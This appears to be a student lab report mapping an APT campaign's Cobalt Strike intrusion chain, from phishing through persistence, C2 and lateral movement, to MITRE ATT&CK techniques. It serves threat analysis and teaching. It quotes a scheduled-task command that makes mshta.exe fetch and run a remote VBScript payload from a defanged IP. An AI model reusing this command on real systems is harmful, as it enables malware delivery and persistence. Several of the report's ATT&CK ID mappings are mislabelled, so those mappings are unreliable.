LAB REPORT

**1. Penetration phase**

* spear-phishing emails

[Initial Access|Phishing:Spear Phishing Link] - T1566.002

* Link to a malicious site that downloads a fake Flash Installer delivering Cobalt Strike Beacon

[Initial Access|Phishing:Spear Phishing Attachment] - T1566.002

* Word documents with malicious macros downloading Cobalt Strike payloads

[Execution|User Execution:Malicious File] - T1204.002

**Fake Flash Installer delivering Cobalt Strike Beacon**

* received a spear-phishing email

[Initial Access|Phishing:Spear Phishing Link] - T1566.002

* email contained a link to a redirector site that led to a download link

[Execution|User Execution:Malicious Link] - T1204.001

* launches a multi-stage fileless infection process

[Command and Control|Multi-Stage Channels] - T1104

* downloads an encrypted payload with shellcode from the following URL: hxxp://110.10.179(.)65:80/ptF2

[Defense Evasion| Obfuscated Files or Information: Encrypted/Encoded File] - T1027.013

* Cobalt Strike

[Software S0154]

**Word File with malicious macro delivering Cobalt Strike Beacon**

* scheduled tasks are created on infected Windows machine

[Execution/Persistence|Scheduled Task/Job: Scheduled Task] - T1053

**Post infection execution of scheduled task**

\*\* VB (Visual Basic): ngôn ngữ do Microsoft tạo, có khả năng tương tác với nhiều công nghệ Windows: Component Object Model và Native API qua Windows API

\*\* VBA (Visual Basic for Applications): ngôn ngữ lập trình hướng sự kiện được tích hợp vào Microsoft Office và một số ứng dụng bên thứ 3; Cho phép các tài liệu chứa các macro được sử dụng để tự động thực hiện các tác vụ và chức năng khác trên máy chủ

\*\* VBScript: Ngôn ngữ kịch bản mặc định trên Windows, sử dụng thay JS trên ứng dụng HTML được cung cấp cho Internet Explorer

=> Hành vi: tự động thực thi hành vi bằng VBScript/ nhúng nội dung VBA vào Spear Phishing Attachment payloads

**Example 1: Fileless downloader delivers Cobalt Strike Beacon**

* schtasks /create /sc MINUTE /tn "Windows Error Reporting" /tr "mshta.exe about:'<script language=\"vbscript\" src=\"hxxp://110.10.179(.)65:80/download/microsoftp.jpg\">code close</script>”” /mo 15 /F

=> mshta.exe - chạy vbscript - tải payload (file microsoftp.jpg)

[Defense Evasion| System Binary Proxy Execution: Mshta] - T1218

* Downloads and executes an additional payload

[Command and Control| Ingress Tool Transfer] - T1105

* powershell.exe

[Execution|Command and Scripting Interpreter:Powershell] - T1059.001

**Example 2: Additional Cobalt Strike delivery method**

* initial PowerShell payload is downloaded from the server

[Execution|Command and Scripting Interpreter:Powershell]-T1059.001

* pass an obfuscated and XOR’ed PowerShell payload to cmd.exe:

[Defense Evasion|Obfuscated Files or Information: Command Obfuscation]-T1027

**2. Establishing foothold**

* malicious code will run automatically and survive machine reboots

[Persistence| Boot or Logon AutoStart Execution] - T1547

* Windows Registry Autorun

[Persistence|Boot or Logon Autostart Execution:Registry Run Keys/Startup Folder] - T1547.001

2.1. Windows Registry

* NTFS Alternate Data Stream

[Defense Evasion|NTFS File Attributes] - T1564.004

* created and/or modified Windows Services

[Persistence|Create or Modify System Process: Windows Service] -T1543.003

2.2. Windows Services

Backdoor exploits DLL hijacking against Wsearch Service

* Phantom DLL Hijacking - placed a fake “msfte.dll” under the system32 folder

[Hijacking Execution Flow:DLL Search Order Hijacking]-T1574.001

2.3. Scheduled Tasks

PowerShell Loader:

Google Update:

* exploited a DLL hijacking vulnerability in a legitimate Google Update binary

[Hijacking Execution Flow:DLL Search Order Hijacking]-T1574.001

2.4. Outlook Persistence

* used a malicious Outlook backdoor

[Persistence|Office Application Startup]-T1137

* edited a specific registry value to create persistence

[Defense Evasion|Modify Registry]-T1112

**3. C2 Communication**

3.1. Cobalt Strike Fileless Infrastructure (HTTP)

* HTTP

[Command and Control|Application Layer Protocol:Web Protocols]-T1071.001

PowerShell downloader:

* downloads and executes a PowerShell payload

[Execution|Command and Scripting Interpreter:Powershell]-T1059.001

Regsvr32.exe downloader command (COM Scriptlet):

* downloaded COM scriptlets using regsvr32.exe

[Defense Evasion|System Binary Proxy Execution:Regsvr32]-T1218.010

3.5. Custom NetCat

* masquerading as a Windows update

[Defense Evasion|Masquerading]-T1036

**4. Internal reconnaissance**

4.1. Internal Network Scanning

* network scanning, looking for open ports, services, OS finger-printing and common vulnerabilities

[Discovery|Network Service Discover]-T1046

4.2. Information gathering commands

* used several tools built into the Windows OS to gather information on the environment’s network and its users

[Discovery|System Information Discovery]-T1082

4.3. Vulnerability Scanning using PowerSploit

* Using Powersploit

[Execution|Command and Scripting Interpreter:Powershell]V

**5. Lateral movement**

5.1. Obtaining credentials

* dump locally stored credentials

[Credential Access|OS Credential Dumping]

5.1.1. Mimikatz

[Software-S0002]

5.1.2. Gaining Outlook credentials

5.2. Pass-the-hash and pass-the-ticket

* stolen NTLM hashes and Kerberos tickets from compromised machines

[Credential Access|Steal or Forge Kerberos Tickets]-T1003

Example 1: Deploying Mimikatz on remote machines

Example 2: Gaining remote access using pass-the-ticket attack

5.3. Propagation via Windows Admin Shares

* net.exe [Software S0039]

5.4. Windows Management Instrumentation (WMI)

* used a well-documented lateral movement technique that abuses Windows Management Instrumentation (WMI)

[Execution| Windows Management Instrumentation]-T1047

Example: Infecting other machines with Denis backdoor

* Using WMI and the stolen credentials

[Execution| Windows Management Instrumentation]-T1047

Stopping the Wsearch service

Starting the Wsearch service